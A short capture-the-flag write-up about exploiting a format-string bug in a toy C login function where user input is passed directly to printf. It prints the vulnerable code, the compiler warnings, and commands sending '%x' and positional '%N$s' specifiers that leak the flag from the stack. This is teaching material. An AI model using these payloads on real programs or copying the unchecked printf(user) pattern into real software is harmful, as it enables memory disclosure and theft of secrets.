Last night I was watching a interesting presentation from 0xff about Security applications of language technology and the sponsors were inviting people to compete on the CTF.

The level two had a interesting challenge: with a user input for login, can you access the flag, which as a variable inside that function?

The code looks like this

#include<stdio.h>
#include<stdlib.h>

int login(char *flag) {
	char user[10];
	read(0, user, sizeof user);
	printf(user);
	printf("\n");
	return 0;
}

int main(int argc, char *argv[]){

	char flag[10] = "FLAG{HÄR}";
	return login(flag);
}

And the trouble is spotted when we compile this code:

$ gcc test.c
test.c:7:2: warning: implicit declaration of function 'read' is invalid in C99
      [-Wimplicit-function-declaration]
        read(0, user, sizeof user);
        ^
test.c:8:9: warning: format string is not a string literal (potentially insecure)
      [-Wformat-security]
        printf(user);
               ^~~~
test.c:8:9: note: treat the string as an argument to avoid this
        printf(user);
               ^
               "%s",
2 warnings generated.

So, let’s start trying to search the addresses available, for this we need to send the caracter %x:

python -c "print('%x '*10)" | ./a.out
ef1c995e 0 6f68d81e

Now, let’s try to get the values from another format string:

$ for i in $(seq 10); do echo '%'$i'$s' | ./a.out; done
%1$s
��
��
(null)
��
H���

��
(null)
��
(null)
��
(null)
��
FLAG{HÄR}
         ��